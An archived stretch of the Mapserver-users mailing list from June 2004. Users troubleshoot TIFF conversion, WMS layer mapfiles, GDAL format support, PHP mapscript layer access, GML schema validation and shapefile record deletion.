giorgio From wim.blanken at planet.nl Fri Jun 4 11:46:08 2004 From: wim.blanken at planet.nl (Wim Blanken PI) Date: Fri, 04 Jun 2004 20:46:08 +0200 Subject: [Mapserver-users] Tiled Tiff problem solved Message-ID: <000a01c44a64$36d96b60$6400a8c0@blanken> This is a multi-part message in MIME format. --Boundary_(ID_MlVctFSqhdDi0ql812EEoA) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT Hello Mapserver lovers, We had a problem using tiled tiffs in our mapserver application. Our favourite image converter (XNVIEW) could not convert these to 8 bits tiff in batch for use in mapserver. We downloaded a trial version of PMVIEW and this package does the job perfectly so it is a nice work around. Does however anyone know an opensource package that can handle and convert tiled tiffs? (packbits compressed). Does GIMP cover this? Regards, Wim Blanken --Boundary_(ID_MlVctFSqhdDi0ql812EEoA) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Hello Mapserver lovers,
 
We had a problem using tiled tiffs in our mapserver application. Our favourite image converter (XNVIEW) could not convert these to 8 bits tiff in batch for use in mapserver. We downloaded a trial version of PMVIEW and this package does the job perfectly so it is a nice work around. Does however anyone know an opensource package that can handle and convert tiled tiffs? (packbits compressed). Does GIMP cover this?
 
Regards,
 
Wim Blanken
 
--Boundary_(ID_MlVctFSqhdDi0ql812EEoA)-- From JWiley at city.parksville.bc.ca Fri Jun 4 12:08:00 2004 From: JWiley at city.parksville.bc.ca (John Wiley) Date: Fri, 04 Jun 2004 12:08:00 -0700 Subject: [Mapserver-users] Tiled Tiff problem solved Message-ID: I heard ermapper was a go... >>> "Wim Blanken (PI)" 06/04/04 11:46am >>> Hello Mapserver lovers, We had a problem using tiled tiffs in our mapserver application. Our favourite image converter (XNVIEW) could not convert these to 8 bits tiff in batch for use in mapserver. We downloaded a trial version of PMVIEW and this package does the job perfectly so it is a nice work around. Does however anyone know an opensource package that can handle and convert tiled tiffs? (packbits compressed). Does GIMP cover this? Regards, Wim Blanken From mtperry78 at sbcglobal.net Fri Jun 4 12:20:52 2004 From: mtperry78 at sbcglobal.net (Matthew Perry) Date: Fri, 4 Jun 2004 12:20:52 -0700 (PDT) Subject: [Mapserver-users] Adding a WMS Layer from terraservice.net In-Reply-To: <20040604172625.45127.qmail@web51110.mail.yahoo.com> Message-ID: <20040604192052.38653.qmail@web80103.mail.yahoo.com> Robert, I noticed two things that might be worth checking. For your layer's metadata, try: "wms_name" "DOQ" "wms_layers" "drg" Let me know if this works... good luck. - matt --- Robert Aldridge wrote: > I'm attempting to show a DOQ from terraservice.net > via > mapserver. I've read through the howto's and > archives > of this list, but to no avail. It appears to be > working, but I just get a blank image. Could > someone > post a simple mapfile that displays a DOQ from > terraserver, or take a look at my mapfile to see if > you can identify my problem? > > Here's my (simple) mapfile: > > #begin mapfile > NAME "wms_test" > SIZE 600 400 > STATUS ON > EXTENT 430400 3750400 435200 3753600 > UNITS METERS > IMAGETYPE PNG > LAYER > NAME ortho > METADATA > "wms_title" "USGS Digital > Ortho-Quadrangles" > "wms_srs" "EPSG:26916" #NAD83 > UTM Zone 16N > "wms_name" "ortho" > "wms_server_version" "1.1.1" > "wms_formatlist" > "image/png,image/jpeg,image/gif" > "wms_format" "image/png" > END > OFFSITE 255 255 255 > STATUS DEFAULT > TYPE RASTER > CONNECTIONTYPE WMS > CONNECTION "http://terraservice.net/ogcmap.ashx?" > DEBUG ON > END > END > END > #end mapfile > > I'm viewing it by typing the following URL: > > http://myserver/cgi-bin/mapserv?map=/var/www/mapping/wms.map&mode=map > > It returns a 600x400 PNG image, but it's blank (all > white). > > Thanks, > > Robert > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mtperry78 at sbcglobal.net Fri Jun 4 12:24:07 2004 From: mtperry78 at sbcglobal.net (Matthew Perry) Date: Fri, 4 Jun 2004 12:24:07 -0700 (PDT) Subject: [Mapserver-users] Adding a WMS Layer from terraservice.net In-Reply-To: <20040604172625.45127.qmail@web51110.mail.yahoo.com> Message-ID: <20040604192407.40897.qmail@web80107.mail.yahoo.com> Robert, I made an error in my first response. It should be: "wms_layers" "doq" instead of "drg". Not sure if this will make a difference as I suspect setting the "wms_name" to "DOQ" should do the trick. - matt --- Robert Aldridge wrote: > I'm attempting to show a DOQ from terraservice.net > via > mapserver. I've read through the howto's and > archives > of this list, but to no avail. It appears to be > working, but I just get a blank image. Could > someone > post a simple mapfile that displays a DOQ from > terraserver, or take a look at my mapfile to see if > you can identify my problem? > > Here's my (simple) mapfile: > > #begin mapfile > NAME "wms_test" > SIZE 600 400 > STATUS ON > EXTENT 430400 3750400 435200 3753600 > UNITS METERS > IMAGETYPE PNG > LAYER > NAME ortho > METADATA > "wms_title" "USGS Digital > Ortho-Quadrangles" > "wms_srs" "EPSG:26916" #NAD83 > UTM Zone 16N > "wms_name" "ortho" > "wms_server_version" "1.1.1" > "wms_formatlist" > "image/png,image/jpeg,image/gif" > "wms_format" "image/png" > END > OFFSITE 255 255 255 > STATUS DEFAULT > TYPE RASTER > CONNECTIONTYPE WMS > CONNECTION "http://terraservice.net/ogcmap.ashx?" > DEBUG ON > END > END > END > #end mapfile > > I'm viewing it by typing the following URL: > > http://myserver/cgi-bin/mapserv?map=/var/www/mapping/wms.map&mode=map > > It returns a 600x400 PNG image, but it's blank (all > white). > > Thanks, > > Robert > > > > > __________________________________ > Do you Yahoo!? > Friends. Fun. Try the all-new Yahoo! Messenger. > http://messenger.yahoo.com/ > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From tburton at holonics.ca Fri Jun 4 12:51:50 2004 From: tburton at holonics.ca (Trent Burton) Date: Fri, 4 Jun 2004 15:51:50 -0400 Subject: [Mapserver-users] MapInfo tif through Mapserver Message-ID: This is a multi-part message in MIME format. ------_=_NextPart_001_01C44A6D.604D3AC2 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable I am somewhat new to Mapserver and I am having trouble showing Mapinfo tiff's through Mapserver. I am a little confused about wether the Windows binaries that are available for download from the Mapserver site actually have the support for images or not. I was reading on the site something about having to recompile the executable from the source code, using additional libraries in order to get the image support! Tell me this is not true! Why wouldn't mapserver be compiled with every library? Maybe I am misunderstanding something. There does not seem to be anything useful in the way of debugging to help me through this issue. I am using the default Mapserver interface to view my maps and basically, the layer does not draw. I have been able to get oracle spatial, shape and cascaded layers to show fine. =20 Thanks, =20 Trent Burton ------_=_NextPart_001_01C44A6D.604D3AC2 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Message
I am = somewhat new to=20 Mapserver and I am having trouble showing Mapinfo tiff's through=20 Mapserver.  I am a little confused about wether the Windows = binaries that=20 are available for download from the Mapserver site actually have the = support for=20 images or not.  I was reading on the site something about having to = recompile the executable from the source code, using additional = libraries in=20 order to get the image support!  Tell me this is not true!  = Why=20 wouldn't mapserver be compiled with every library?  Maybe I am=20 misunderstanding something.  There does not seem to be anything = useful in=20 the way of debugging to help me through this issue.  I am using the = default=20 Mapserver interface to view my maps and basically, the layer does not=20 draw.  I have been able to get oracle spatial, shape and cascaded = layers to=20 show fine.
 
Thanks,
 
Trent=20 Burton
=00 ------_=_NextPart_001_01C44A6D.604D3AC2-- From bamarob55 at yahoo.com Fri Jun 4 13:15:11 2004 From: bamarob55 at yahoo.com (Robert Aldridge) Date: Fri, 4 Jun 2004 13:15:11 -0700 (PDT) Subject: [Mapserver-users] Adding a WMS Layer from terraservice.net In-Reply-To: <20040604192407.40897.qmail@web80107.mail.yahoo.com> Message-ID: <20040604201511.59398.qmail@web51103.mail.yahoo.com> Matthew, Thanks for the reply. I'm still getting the same results (a 600x400, solid white PNG). Here's my updated mapfile: [begin mapfile] MAP NAME "wms_test" SIZE 600 400 STATUS ON EXTENT 430400 3750400 435200 3753600 UNITS METERS IMAGETYPE PNG #"init=epsg:26916" LAYER NAME DOQ METADATA "wms_title" "USGS Digital Ortho-Quadrangles" "wms_srs" "EPSG:26916" #NAD83 UTM Zone 16N "wms_name" "DOQ" "wms_layers" "doq" "wms_server_version" "1.1.1" "wms_formatlist" "image/png,image/jpeg,image/gif" "wms_format" "image/png" END OFFSITE 255 255 255 STATUS DEFAULT TYPE RASTER CONNECTIONTYPE WMS CONNECTION "http://terraservice.net/ogcmap.ashx?" #DEBUG ON END END [end mapfile] Thanks, Robert --- Matthew Perry wrote: > Robert, > I made an error in my first response. It should > be: > > "wms_layers" "doq" > > instead of "drg". Not sure if this will make a > difference as I suspect setting the "wms_name" to > "DOQ" should do the trick. > > - matt > > --- Robert Aldridge wrote: > > I'm attempting to show a DOQ from terraservice.net > > via > > mapserver. I've read through the howto's and > > archives > > of this list, but to no avail. It appears to be > > working, but I just get a blank image. Could > > someone > > post a simple mapfile that displays a DOQ from > > terraserver, or take a look at my mapfile to see > if > > you can identify my problem? > > > > Here's my (simple) mapfile: > > > > #begin mapfile > > NAME "wms_test" > > SIZE 600 400 > > STATUS ON > > EXTENT 430400 3750400 435200 3753600 > > UNITS METERS > > IMAGETYPE PNG > > LAYER > > NAME ortho > > METADATA > > "wms_title" "USGS Digital > > Ortho-Quadrangles" > > "wms_srs" "EPSG:26916" > #NAD83 > > UTM Zone 16N > > "wms_name" "ortho" > > "wms_server_version" "1.1.1" > > "wms_formatlist" > > "image/png,image/jpeg,image/gif" > > "wms_format" "image/png" > > END > > OFFSITE 255 255 255 > > STATUS DEFAULT > > TYPE RASTER > > CONNECTIONTYPE WMS > > CONNECTION > "http://terraservice.net/ogcmap.ashx?" > > DEBUG ON > > END > > END > > END > > #end mapfile > > > > I'm viewing it by typing the following URL: > > > > > http://myserver/cgi-bin/mapserv?map=/var/www/mapping/wms.map&mode=map > > > > It returns a 600x400 PNG image, but it's blank > (all > > white). > > > > Thanks, > > > > Robert > > > > > > > > > > __________________________________ > > Do you Yahoo!? > > Friends. Fun. Try the all-new Yahoo! Messenger. > > http://messenger.yahoo.com/ > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > __________________________________ Do you Yahoo!? Friends. Fun. Try the all-new Yahoo! Messenger. http://messenger.yahoo.com/ From siki at agt.bme.hu Fri Jun 4 16:30:40 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Fri, 4 Jun 2004 22:30:40 -0100 (GMT+1) Subject: [Mapserver-users] MapServer 4.2.0 released {Scanned} In-Reply-To: <002701c44a51$52252930$1300a8c0@cuestasys.com> Message-ID: Hi, This dll is part of the ms .net framework. You can download it from www.dll-files.com/dllindex/dll-files.shtml?msvcr71 Bye Zoltan On Fri, 4 Jun 2004, Mark Adams wrote: > Frank, thanks for this info. A follow-up question though: when I try to > run gdalinfo.exe from the command line, I get a system error message > indicating that a file called msvcr71.dll could not be found in my > system paths. I did a search, I don't have this .dll on my system. It's > not included in the openev_fw packages either. Any idea what this .dll > is and why it's needed (and where I can get it from?) > > Thanks again. > > ------------------------------ > Mark Adams > Business & Systems Analyst > Cuesta Systems Inc. > 5230 South Service Road > Burlington, ON L7L 5K2 > Phone: 905-333-4544 x14 > Fax: 905-333-0455 > Email: markadams at cuestasys.com > > > -----Original Message----- > From: Frank Warmerdam [mailto:warmerdam at pobox.com] > Sent: Friday, June 04, 2004 12:21 PM > To: markadams at cuestasys.com > Cc: 'mapserver-users' > Subject: Re: [Mapserver-users] MapServer 4.2.0 released > > Mark Adams wrote: > > Can someone tell me whether the gdal included with the Windows PHP > > mapscript binary packages has support for jpeg 2000 (jp2) files? I > have > > been trying out maplab and received an "unsupported format" error when > > trying to view a jp2 file. The gdal web page indicates that this > format > > should be supported; I can't see any way of determining whether the > dll > > I have installed from the mapscript package somehow excludes this > format > > or not. (I've seen reference to a utility called gdal-config but none > of > > the gdal packages I've been able to find and download include this > > utility.) > > Mark, > > I *think* the DMSolutions builds of MapServer do not include JPEG2000 > support. > > All GDAL supported formats are listed on the GDAL web pages, but many > require > additional libraries some of which have various licensing restrictions. > So any > given "build" of GDAL will have only some subset of the potential > formats. > > The OpenEV_FW releases I prepare do include MapServer and JPEG2000 > support > but they don't include PHP support or some of the other great stuff that > DM Solutions does. Sometimes it is hard to get a build with everything. > > PS. gdal-config is really only available on unix. > > PPS. If you have the commandline programs like gdalinfo you can use > "gdalinfo --formats" to get a list of supported formats in that build. > > Best regards, > > From markadams at cuestasys.com Fri Jun 4 13:29:29 2004 From: markadams at cuestasys.com (Mark Adams) Date: Fri, 4 Jun 2004 16:29:29 -0400 Subject: [Mapserver-users] MapServer 4.2.0 released {Scanned} In-Reply-To: Message-ID: <000d01c44a72$a356abf0$1300a8c0@cuestasys.com> Thanks - that did the trick! ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com -----Original Message----- From: Siki Zoltan [mailto:siki at agt.bme.hu] Sent: Friday, June 04, 2004 7:31 PM To: Mark Adams Cc: 'Frank Warmerdam'; 'mapserver-users' Subject: RE: [Mapserver-users] MapServer 4.2.0 released {Scanned} Hi, This dll is part of the ms .net framework. You can download it from www.dll-files.com/dllindex/dll-files.shtml?msvcr71 Bye Zoltan On Fri, 4 Jun 2004, Mark Adams wrote: > Frank, thanks for this info. A follow-up question though: when I try to > run gdalinfo.exe from the command line, I get a system error message > indicating that a file called msvcr71.dll could not be found in my > system paths. I did a search, I don't have this .dll on my system. It's > not included in the openev_fw packages either. Any idea what this .dll > is and why it's needed (and where I can get it from?) > > Thanks again. > > ------------------------------ > Mark Adams > Business & Systems Analyst > Cuesta Systems Inc. > 5230 South Service Road > Burlington, ON L7L 5K2 > Phone: 905-333-4544 x14 > Fax: 905-333-0455 > Email: markadams at cuestasys.com > > > -----Original Message----- > From: Frank Warmerdam [mailto:warmerdam at pobox.com] > Sent: Friday, June 04, 2004 12:21 PM > To: markadams at cuestasys.com > Cc: 'mapserver-users' > Subject: Re: [Mapserver-users] MapServer 4.2.0 released > > Mark Adams wrote: > > Can someone tell me whether the gdal included with the Windows PHP > > mapscript binary packages has support for jpeg 2000 (jp2) files? I > have > > been trying out maplab and received an "unsupported format" error when > > trying to view a jp2 file. The gdal web page indicates that this > format > > should be supported; I can't see any way of determining whether the > dll > > I have installed from the mapscript package somehow excludes this > format > > or not. (I've seen reference to a utility called gdal-config but none > of > > the gdal packages I've been able to find and download include this > > utility.) > > Mark, > > I *think* the DMSolutions builds of MapServer do not include JPEG2000 > support. > > All GDAL supported formats are listed on the GDAL web pages, but many > require > additional libraries some of which have various licensing restrictions. > So any > given "build" of GDAL will have only some subset of the potential > formats. > > The OpenEV_FW releases I prepare do include MapServer and JPEG2000 > support > but they don't include PHP support or some of the other great stuff that > DM Solutions does. Sometimes it is hard to get a build with everything. > > PS. gdal-config is really only available on unix. > > PPS. If you have the commandline programs like gdalinfo you can use > "gdalinfo --formats" to get a list of supported formats in that build. > > Best regards, > > From siki at agt.bme.hu Fri Jun 4 16:42:35 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Fri, 4 Jun 2004 22:42:35 -0100 (GMT+1) Subject: [Mapserver-users] MapInfo tif through Mapserver {Scanned} In-Reply-To: Message-ID: Hi, As far as i understand your question, you have tif images georeferenced for mapinfo. To display a raster (othophoto, scanned map) in mapinfo you need a tif/jpg/... image file and a tab file with fit in points coordinates in the image coordinate system and the map coordinate system. This is not supported in mapserver. You must convert the tab file into a world file. For the world file you need the coordinates of the upper left corner of the image and the size of a pixel in x and y direction. See raster howto. Bye Zoltan On Fri, 4 Jun 2004, Trent Burton wrote: > I am somewhat new to Mapserver and I am having trouble showing Mapinfo > tiff's through Mapserver. I am a little confused about wether the > Windows binaries that are available for download from the Mapserver site > actually have the support for images or not. I was reading on the site > something about having to recompile the executable from the source code, > using additional libraries in order to get the image support! Tell me > this is not true! Why wouldn't mapserver be compiled with every > library? Maybe I am misunderstanding something. There does not seem to > be anything useful in the way of debugging to help me through this > issue. I am using the default Mapserver interface to view my maps and > basically, the layer does not draw. I have been able to get oracle > spatial, shape and cascaded layers to show fine. > > Thanks, > > Trent Burton > From markadams at cuestasys.com Fri Jun 4 13:39:25 2004 From: markadams at cuestasys.com (Mark Adams) Date: Fri, 4 Jun 2004 16:39:25 -0400 Subject: [Mapserver-users] functions to parse a map file? Message-ID: <000e01c44a74$06c25f80$1300a8c0@cuestasys.com> This is a multi-part message in MIME format. ------=_NextPart_000_000F_01C44A52.7FB0BF80 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, =20 We are developing a sample site with Mapserver 4.2 and PHP mapscript. We=92d like to add some custom functions that require that we can determine at run time certain aspects of the layers being published through the map file, for example what type of data the layer is (e.g. raster, shapefile), what its geometry type is (e.g. polygon, line), etc. We had been thinking we=92d parse the map file on initial load, and = access it programmatically from a set of arrays; but as the map file structure is not XML based there isn=92t an easy way of parsing the map file directly. Are there any built-in functions available to allow us to do this? =20 Thanks for any help you can provide. =20 ------------------------------ Mark Adams Business & Systems Analyst Cuesta Systems Inc. 5230 South Service Road Burlington, ON L7L 5K2 Phone: 905-333-4544 x14 Fax: 905-333-0455 Email: markadams at cuestasys.com =20 ------=_NextPart_000_000F_01C44A52.7FB0BF80 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Hi all,

 

We are developing a sample site with Mapserver 4.2 and PHP mapscript. We’d like to = add some custom functions that require that we can determine at run time certain = aspects of the layers being published through the map file, for example what = type of data the layer is (e.g. raster, shapefile), = what its geometry type is (e.g. polygon, line), etc. We had been thinking = we’d parse the map file on initial load, and access it programmatically from = a set of arrays; but as the map file structure is not XML based there = isn’t an easy way of parsing the map file directly. Are there any built-in = functions available to allow us to do this?

 

Thanks for any help you can = provide.

 

------------------= ------------

Mark Adams

Business & = Systems Analyst

Cuesta Systems = Inc.

5230 South = Service Road

Burlington, ON = L7L 5K2

Phone: = 905-333-4544 x14

Fax: = 905-333-0455

Email: markadams at cuestasys.com

 

------=_NextPart_000_000F_01C44A52.7FB0BF80-- From bigfoot at main-task.com Fri Jun 4 14:14:03 2004 From: bigfoot at main-task.com (=?windows-1252?Q?Vladimir_Guzm=E1n?=) Date: Fri, 04 Jun 2004 16:14:03 -0500 Subject: [Mapserver-users] functions to parse a map file? In-Reply-To: <000e01c44a74$06c25f80$1300a8c0@cuestasys.com> References: <000e01c44a74$06c25f80$1300a8c0@cuestasys.com> Message-ID: <40C0E61B.1050201@main-task.com> Mark: If you're using PHP Mapscript, you can access the layer's information using something like this: for($i=0;$i< $map->numlayers;$i++){ $layer=$map->getLayer($i); print_r($layer); } Hope that helps, -- Vladimir Ilich Guzm?n R. ------------------------ http://maintask.com Mark Adams wrote: > Hi all, > > We are developing a sample site with Mapserver 4.2 and PHP mapscript. > We?d like to add some custom functions that require that we can > determine at run time certain aspects of the layers being published > through the map file, for example what type of data the layer is (e.g. > raster, shapefile), what its geometry type is (e.g. polygon, line), > etc. We had been thinking we?d parse the map file on initial load, and > access it programmatically from a set of arrays; but as the map file > structure is not XML based there isn?t an easy way of parsing the map > file directly. Are there any built-in functions available to allow us > to do this? > > Thanks for any help you can provide. > > ------------------------------ > > Mark Adams > > Business & Systems Analyst > > Cuesta Systems Inc. > > 5230 South Service Road > > Burlington, ON L7L 5K2 > > Phone: 905-333-4544 x14 > > Fax: 905-333-0455 > > Email: markadams at cuestasys.com > From keon at nacse.org Fri Jun 4 14:18:28 2004 From: keon at nacse.org (Dylan Keon) Date: Fri, 04 Jun 2004 14:18:28 -0700 Subject: [Mapserver-users] Adding a WMS Layer from terraservice.net In-Reply-To: <20040604201511.59398.qmail@web51103.mail.yahoo.com> References: <20040604201511.59398.qmail@web51103.mail.yahoo.com> Message-ID: <40C0E724.1040507@nacse.org> On 6/4/2004 1:15 PM, Robert Aldridge wrote: > Matthew, > > Thanks for the reply. I'm still getting the same > results (a 600x400, solid white PNG). Here's my > updated mapfile: > > [begin mapfile] > MAP > NAME "wms_test" > SIZE 600 400 > STATUS ON > EXTENT 430400 3750400 435200 3753600 > UNITS METERS > IMAGETYPE PNG > #"init=epsg:26916" > LAYER > NAME DOQ > METADATA > "wms_title" "USGS Digital > Ortho-Quadrangles" > "wms_srs" "EPSG:26916" #NAD83 > UTM Zone 16N > "wms_name" "DOQ" > "wms_layers" "doq" > "wms_server_version" "1.1.1" > "wms_formatlist" > "image/png,image/jpeg,image/gif" > "wms_format" "image/png" > END > OFFSITE 255 255 255 > STATUS DEFAULT > TYPE RASTER > CONNECTIONTYPE WMS > CONNECTION "http://terraservice.net/ogcmap.ashx?" > #DEBUG ON > END > END > [end mapfile] This layer definition is currently working for me: LAYER NAME ortho METADATA "wms_title" "USGS Digital Ortho-Quadrangles" "wms_srs" "EPSG:26910" #NAD83 UTM zone 10N END GROUP "BASE DATA" STATUS OFF TYPE RASTER MINSCALE 1500 MAXSCALE 80000 CONNECTIONTYPE WMS CONNECTION "http://terraservice.net/ogcmap.ashx?VERSION=1.1.1&SERVICE=wms&LAYERS=DO Q&FORMAT=jpeg&styles=" PROJECTION "init=epsg:26910" #NAD83 UTM zone 10N END END From Tom.Kralidis at ec.gc.ca Fri Jun 4 14:36:26 2004 From: Tom.Kralidis at ec.gc.ca (Kralidis,Tom [Burlington]) Date: Fri, 4 Jun 2004 17:36:26 -0400 Subject: [Mapserver-users] Mapserver GML valid? Message-ID: <2576812186CDD411BF1500508B6DCE9507366F26@ecnwri1.ontario.int.ec.gc.ca> That's wierd, too. I tried a GetFeature XML output against xsv (http://www.w3.org/2001/03/webdata/xsv), but I get other errors: Schema representation errors Detected during instance validation http://schemas.opengis.net/gml/2.1.2/xlinks.xsd:19:3: Invalid: restricting attribute with type {http://www.w3.org/1999/xlink}None not derived from declared base's attribute's type http://www.w3.org/1999/xlink{None} http://schemas.opengis.net/gml/2.1.2/xlinks.xsd:46:3: Invalid: restricting attribute with type {http://www.w3.org/1999/xlink}None not derived from declared base's attribute's type http://www.w3.org/1999/xlink{None} ...but it doesn't complain about the schemaLocation defined. We might want to check this with the WFS mailing list. ..Tom > -----Original Message----- > From: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of > Yewondwossen Assefa > Sent: Friday, June 04, 2004 10:14 AM > To: bartvde at xs4all.nl > Cc: mapserver-users at lists.gis.umn.edu > Subject: Re: [Mapserver-users] Mapserver GML valid? > > > Bart, > > I have made the changes to point vers the 2.1.2. > > There is though still a problem validating these using XML SPY. We > have run into this problem previously but did not come up with an > explanation : usally I do the validations using the following > OGC site > http://cite.occamlab.com/gmlTools/validateInstance.jsp. When running > the same "valid" XML through XML SPY, we get the error you > got. The problem seems to be that XMP Spy seems to not read > or cannot get the > DescribeFeatureType schema. If you save that schema into a local file > and modify your XML to point to this local file, It validates through > XML Spy. I still do not have a reasonable explanation for > this (but I > really do not know much either about XML Spy and what and what not is > possible). > > Later, > > > > Hi list, > > > > I was just checking Mapserver GML in XML Spy and I get and > error. I am > > using Mapserver 4.2. > > > > The error I get is: > > > > Mandatory element 'gml:_Feature' expected in place of Gemeentes. > > > > In the DescribeFeatureType response there is another problem (but > > maybe > > this is the cause of the first problem as well?): > > > > the URL to the GML schema is: > > > > http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd > > > > This one does not exist anymore, the 2.1.2 feature schema does exist > > though. The version number is hardcoded in mapwfs.c. > > > > Anybody else experiencing these (validation) errors? > > > > Best regards, > > Bart > > > > -- > > annex 1: part of my GetFeature response > > > > > > > > > > > > > > 128558.900000,499724.500000 > 134533.400000,504609.100000 > > > > > > > > > > > > > > > > > > 130401.300000,503894.099900 > > 130579.500000,503799.700000 131548.000100,503660.100000 > > 131489.700000,503858.000100 131773.100000,503932.700000 > > 131865.299900,503957.200000 133099.299900,504609.100000 > > 133209.000000,503977.500000 133441.100100,503733.100000 > > 133588.099900,503473.100000 133861.299900,503540.300000 > > 133861.299900,503540.300000 133739.700100,503372.699900 > > 133760.600000,503139.200000 134174.500100,502917.000100 > > 134230.899900,502735.900100 134384.800100,502258.900000 > > 134533.400000,501841.800000 134216.599900,501423.499900 > > 133983.900100,500917.300000 134003.299900,500788.400000 > > 133575.500000,500471.900100 133399.400000,500240.300100 > > 133139.800100,500297.000000 133139.800100,500297.000000 > > 133069.900000,500287.900000 133057.400100,500369.900000 > > 133057.400100,500369.900000 132947.700000,500323.300100 > > 132906.199900,500143.199900 132795.700100,500081.500100 > > 132776.900000,499981.900100 132728.600000,499724.500000 > > 132585.400100,499766.800100 132679.000100,500372.900100 > > 132679.000100,500372.900100 131675.199900,500164.400000 > > 130918.799900,500093.699900 130714.099900,499988.699900 > > 130378.899900,499801.400100 130024.900000,499980.300100 > > 128558.900000,500826.300000 129112.200100,501755.900100 > > 130401.300000,503894.099900 > > > > > > > > > > 0385 > > 385 > > Edam-Volendam > > 26852 > > 12 > > 0.04 > > 27 > > 27 > > Noord-Holland > > 23 > > Groot-Amsterdam > > 44 > > Amsterdam > > 21 > > 21.2 > > Amsterdam-Purmerend > > West > > 2 > > 057 > > Waterland > > 10 > > Zuidelijk Noord-Holland > > 34 > > ROA > > 34 > > ROA > > 9 > > Hoorn > > 11 > > Zaanstreek-Waterland > > 136 > > > > > > > > -- > > annex 2: part of my DescribeFeatureType response > > > > > targetNamespace="http://www.ttt.org/myns" > > xmlns:myns="http://www.ttt.org/myns" > > xmlns:ogc="http://www.opengis.net/ogc" > > xmlns:xsd="http://www.w3.org/2001/XMLSchema" > > xmlns="http://www.w3.org/2001/XMLSchema" > > xmlns:gml="http://www.opengis.net/gml" > > elementFormDefault="qualified" version="0.1" > > > > > > > > schemaLocation="http://ogc.dmsolutions.ca/gml/2.1.1/feature.xsd" /> > > > > > type="myns:Gemeentes_Type" > > substitutionGroup="gml:_Feature" /> > > > > > > > > > > > > > > > > > > _______________________________________________ > > Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > -- > ---------------------------------------------------------------- > Assefa Yewondwossen > Software Analyst > > Email: assefa at dmsolutions.ca > http://www.dmsolutions.ca/ > > Phone: (613) 565-5056 (ext 14) > Fax: (613) 565-0925 > ---------------------------------------------------------------- > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From bpicinbono at worldonline.fr Fri Jun 4 14:48:28 2004 From: bpicinbono at worldonline.fr (blaise) Date: Fri, 04 Jun 2004 23:48:28 +0200 Subject: [Mapserver-users] Re: delete shape In-Reply-To: <20040604170024.8751.55183.Mailman@lists.gis.umn.edu> References: <20040604170024.8751.55183.Mailman@lists.gis.umn.edu> Message-ID: <40C0EE2C.3020602@worldonline.fr> > How can i delete from the shape files ? and for the mapinfo files, i > cannot use the mitab.dll, i just can't get the exported functions... > Sylvain. Are you using php-mapscript ? With php-mapscript, you can easily add shapes to esri shapefiles or even mapinfo tables. I have not heard of any -delete- function for shapefiles with mapscript, but maybe I missed something, can anyone tell ? To delete a shape from a shape file, this is what I am doing : 1-- add, to a new empty temp shapefile, all the shapes except the one to delete. 2-- same for the dbf table, or better, use the dbase_delete_record call and don't forget the dbase_pack ! 3-- rename your tmp shapefile to the name of the real one (thus deleting the old shapefile with the shape to delete). 4-- rename the tmp dbf file if you have created one. Of course, this is a bit time consuming for large shapefiles, as the process copy all the shapes. I made a quick test on a tens of thousands shapes test shapefile, it seemed ok. You can have a look at a demo allowing shape deletion and more exciting shape updating tools over here : http://webmaps.ouvaton.org (link java-tool demo and turn off the java mode (green switch left of the scale bar) to have all the updating tool available) sorry, it's a bit out of date, I will redesign the whole site when I'll be over with the new FlashMapServer demo.) Blaise From rand at meridian-enviro.com Fri Jun 4 15:48:27 2004 From: rand at meridian-enviro.com (Douglas K. Rand) Date: Fri, 04 Jun 2004 17:48:27 -0500 Subject: [Mapserver-users] FreeBSD port In-Reply-To: <20040601214823.GD1427@whitehead.gomoos.org> (Jason Thaxter's message of "Tue, 1 Jun 2004 17:48:23 -0400") References: <87ekp9z5r6.wl@delta.meridian-enviro.com> <20040601214823.GD1427@whitehead.gomoos.org> Message-ID: <87r7svueh0.fsf@delta.meridian-enviro.com> ** Jason Thaxter on Tue, 1 Jun 2004 17:48:23 -0400 ** in [Re: [Mapserver-users] FreeBSD port] writes: Jason> I made a PostGIS port (attached). It might be useful, or it may Jason> not work in your particular circumstance. Jason> Perhaps you'd want to dump the Postgresql knob in favor of a Jason> PostGIS knob, which would take care of it for you? One thing I Jason> know my port lacks, because it's complicated, is support for Jason> Postgresql versions other than the "current" version; that's Jason> not done elegantly. Do you want to submit your PostGIS port? You should send-pr it and when its committed I'll change the knob. We don't use either Postgresql or PostGIS, so I'm not really interested in the maintenership of your port. :) From steve.lime at dnr.state.mn.us Fri Jun 4 16:50:21 2004 From: steve.lime at dnr.state.mn.us (Steve.lime) Date: Fri, 04 Jun 2004 17:50:21 -0600 Subject: [Mapserver-users] Re: Msg reply Message-ID: ----------wpkynciljcemtacahkyy Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
